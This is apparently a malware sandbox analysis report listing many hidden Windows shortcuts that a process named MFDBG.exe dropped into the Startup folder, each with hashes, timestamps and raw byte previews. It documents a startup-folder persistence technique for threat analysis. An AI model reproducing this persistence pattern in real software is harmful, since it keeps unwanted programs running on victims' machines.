Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a90472266c44864b368e313f76b2cb2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931872894830773
Encrypted:	false
SSDEEP:	24:8y9hBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8y9/0R6rMhpBoUBxdRd1nYyg
MD5:	F6BEEB7F84886D87347847E66D96C566
SHA1:	34A335A20E16F526898362A94135869D8F81A5E9
SHA-256:	A1F4AC01797C57EBFDB4FE4C964D4107EC0E9AB666E3C4816A459EEA7513B018
SHA-512:	16C8A9D82D67EEA1D9F6902C5377BAAAA411F5430E879A1D02C2137AD0A3CA575AD3C3CFBF06F41EF01E99357AFA4E57BB5C6CC2A19F35F35DFF0B50B8151820
Malicious:	false
Preview:	L..................F...."...]W%.{...W...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a99caafb8b34ac4bebb418c0e1efad3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936919520285301
Encrypted:	false
SSDEEP:	24:8YjhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8YXv0R6rMhpBoUBxdRd1nYyg
MD5:	611B22587F80541EB21E7CF3564C3988
SHA1:	354C2AC454DD55CAED2F536CB04DDF47F3A90001
SHA-256:	976E89CDE556917ABE1E8E576F30B0384E1E634882CF2DC0E9284A57AC758D78
SHA-512:	5390B7F2E3B04666746B01AE04FF145C8A5362103F94BCC766F81BF5D9F4B6D7AAB312FE71F5AADF638F92EEC89B13517E0B77BEFEAECD3C972591D7DB132AE0
Malicious:	false
Preview:	L..................F...."...]W%.{.....N.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b0900674cf14c6aba6426dd72c28fc9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937296696408269
Encrypted:	false
SSDEEP:	24:8C+hBffD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CU3Q0R6rMhpBoUBxdRd1nYyg
MD5:	FBAF4F45D5C5C9ED32432C8790F899B1
SHA1:	14348E0A0F9F542390A628F48D9C26CEB57BDF84
SHA-256:	AECB08DE0841A3BCB2FDFC3CBFD27D0AE1BF9EF88F46F952DD61BBC23272AAE8
SHA-512:	5330FFBE3A1591005746FD6C56265E7C980B5FC59F6BF3277BA0F8079AFD2D20BFF02B17CE7F6B901D66A67A09CAF1BBB2A844CBA2C66DF52B276A8F800115B6
Malicious:	false
Preview:	L..................F...."...]W%.{....@..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b8e72b01b094ba19259621d725f793e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932559550696697
Encrypted:	false
SSDEEP:	24:8OhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8E30R6rMhpBoUBxdRd1nYyg
MD5:	3C9C91F944680444C37EC6110EF3897F
SHA1:	FC549CE719D67CAC021384246E540457B1F28A60
SHA-256:	532A7B9CCC48F0F9223B956CD5C8D5552B454EA2BD3CA6916323552BC77A8175
SHA-512:	DF360C4FF60B6C82764930CC2181BB7BC88006AE2EFF26441A09EA9C1E718C0D7D90CECEB23429D4CE40A74D18878A263DFD662D84D7A046296A763338FC9474
Malicious:	false
Preview:	L..................F...."...]W%.{....s1.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6b9d90a39d01473a8c4f011014f39696.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934330585543267
Encrypted:	false
SSDEEP:	24:85hBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZKI0R6rMhpBoUBxdRd1nYyg
MD5:	E35605FB518C726B3F72CB3AF575D7AC
SHA1:	0349803D66A0573C118C7B35076D0701868197B3
SHA-256:	8806FC7CBF0172193922719AD8F78583B48F9E2736DA946F466B85A4136229FD
SHA-512:	20B35F99961509AB13B5B3CFE5A6BF723B63B726D6FC4885E5B5EF57F8806974E223A0ACDA799103A53AD5E9ACD0782F40C59673A928E355EEBEC831091BE5C5
Malicious:	false
Preview:	L..................F...."...]W%.{....0s.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bafb6b97d424fe7807bf2ca43b54b6f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:13 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929851680711065
Encrypted:	false
SSDEEP:	24:8/hBfN8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jC0R6rMhpBoUBxdRd1nYyg
MD5:	34C20D7C5CBB05F038DFBAC9898D3291
SHA1:	68E056DCDDDB5F89B0E256C3B295CB0C68191128
SHA-256:	CCC9A175E25C83AC415313D0D1D27D463D0B574C37891E75988FD9E039B5221E
SHA-512:	67D71955A8F9F280604FF89F53F9CDA159FD874E3A5114D1BB136DA36B5D13924807D5A532C4E237C7C95C01890EADD85089E9F04110F24ACDC32EB0750D4361
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bdaacbe9607440098c0bcf25c47eadd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937633322073537
Encrypted:	false
SSDEEP:	24:8zhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H/0R6rMhpBoUBxdRd1nYyg
MD5:	E2B5F8A9588F67643DB0CB14B05A3A64
SHA1:	44DB83A6F362B1EB15F2CDCAE7404817DC18F846
SHA-256:	E3E600886D4975075F5741D65D8A117E57A601EE8F86C0B656F7513EFF0950E3
SHA-512:	73357A11584D59FCDC886FBBA720800CEF007D98EACAC544861154FEC61FB47C30F334C515FF2FCDB058B1683F6A2DDF15AFE35C5404127C744EA67DCF409E56
Malicious:	false
Preview:	L..................F...."...]W%.{.....{.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d21257d55e04856bd7278d2ec1df479.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9356976507276675
Encrypted:	false
SSDEEP:	24:8d9hBfKP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8TC00R6rMhpBoUBxdRd1nYyg
MD5:	F8C29CB65302ED8C9646712830AB4A8F
SHA1:	01BD0FF08C646B76947262A8124C67001895F343
SHA-256:	781483DFE9BB37B9CE907AA4F6E41B0A74C726654EE88299EDA0FA378A0E9E33
SHA-512:	A3ED5085D92C1E8293A1344C8096F41189A3D8CB316BFFF7595146EE2CDD4049881C6F1E8C97150A3FB2A130647D99D4E1443845B905D9A2F75C2A2B373FA851
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...23..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e0455d2361041fe846b5776d8dcbea6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94111261384239
Encrypted:	false
SSDEEP:	24:8nhBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:87+e0R6rMhpBoUBxdRd1nYyg
MD5:	E2D85FFFC3D660395D0C18506BE26B0A
SHA1:	1937A322B7F552FEB359E8D0C84365FD075E0A51
SHA-256:	438E21249CD0D5F853B7C2F6DB33A9AB50583B77C18AD430C640F534657E7443
SHA-512:	5A1128FA82D4E050460C35C59B4C011E6BBE7BF92A67750D0EB95C63AA9FB9D5F1D3F371522C74ED9B8E4AB5E0704A3E83235E0335A21A506B1E4C06991B0040
Malicious:	false
Preview:	L..................F...."...]W%.{...m...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e3158f54e5f4daa81f2d373b6f351f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9321100302747505
Encrypted:	false
SSDEEP:	24:8zhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H/0R6rMhpBoUBxdRd1nYyg
MD5:	1137C12AE3EF9E898DDC91F26AD7B652
SHA1:	B012F7E5F4D34193E1F8799220DF421A46A92CB5
SHA-256:	7F5EEB9B84BC651288C78CB97F3C80045F64047869342062E5E0C1C74843BD95
SHA-512:	1C4AA0CC2D98BAF275B7191D1B7E6AFEF965CE6F17EAF328D07FEF82D9CE8B88EDE40E2A50E1837AA6071B54AAA3B95CF1F98E8A423B8186A951C951D5D27186
Malicious:	false
Preview:	L..................F...."...]W%.{....pf.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e4036fb21c949148a21e364aa3f8419.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936561053120868
Encrypted:	false
SSDEEP:	24:8sphBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8sp+0R6rMhpBoUBxdRd1nYyg
MD5:	6ACF50794C5327B8B90643BE7F1471EB
SHA1:	B7FD2FAE46CE162DB247E70E3DE653126917EABB
SHA-256:	D93CEF0D990A68B9D28E22328419148CF47003A8E7FFC83C755EC16352511FE0
SHA-512:	C149E6A7FB889DEA98D20E751DA5D2F909307DF6F973AB11FD72C3EA9DC7F4DE478572B06A44C0AE5F6A0296C7455E9AABA95FD818D6925414BF3AFAB7008AAD
Malicious:	false
Preview:	L..................F...."...]W%.{....W.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e7507295509415ab6119af84e461b5c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934406737016918
Encrypted:	false
SSDEEP:	24:8KghBf38iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zU0R6rMhpBoUBxdRd1nYyg
MD5:	EDA89AAABBC4CCD5CE78239FBF5C27B1
SHA1:	C42E6E160FB7D8B59452B373E2B728DD80CE5968
SHA-256:	E4C62A02CFEF85488624F528A0F5190DB1504BED96F9B7393BD8DE258B43FEF7
SHA-512:	8AEDC786969EB2EEA071C5E1389FC168344FED56754D61E5C77B72007A548137C2410F012A81D33625EC5111EF39AD3353371BD67BC483B2D0BA3591E3480300
Malicious:	false
Preview:	L..................F...."...]W%.{....j.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....Y.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6f242c261b7643ebab8761ccc0437287.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938755514152353
Encrypted:	false
SSDEEP:	24:88i8hBfF+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:88fp0R6rMhpBoUBxdRd1nYyg
MD5:	C85E9BD06D1D942F3BD84FC4CB665D6D
SHA1:	166BC326BE901FE91F782D8EA5370E12A32B8663
SHA-256:	E07D90D789EB2C5623964E0672210ABF464FD7AF71E72B29905AF1CB1C30FD7B
SHA-512:	60CCFB6820F9566E58EBC7E5CA91C70469BA6BB62D656771B432296785AB0437F5FB54495A779F870143F7B4B251FAD4922EE9CF796069478D8C7940503F0FAE
Malicious:	false
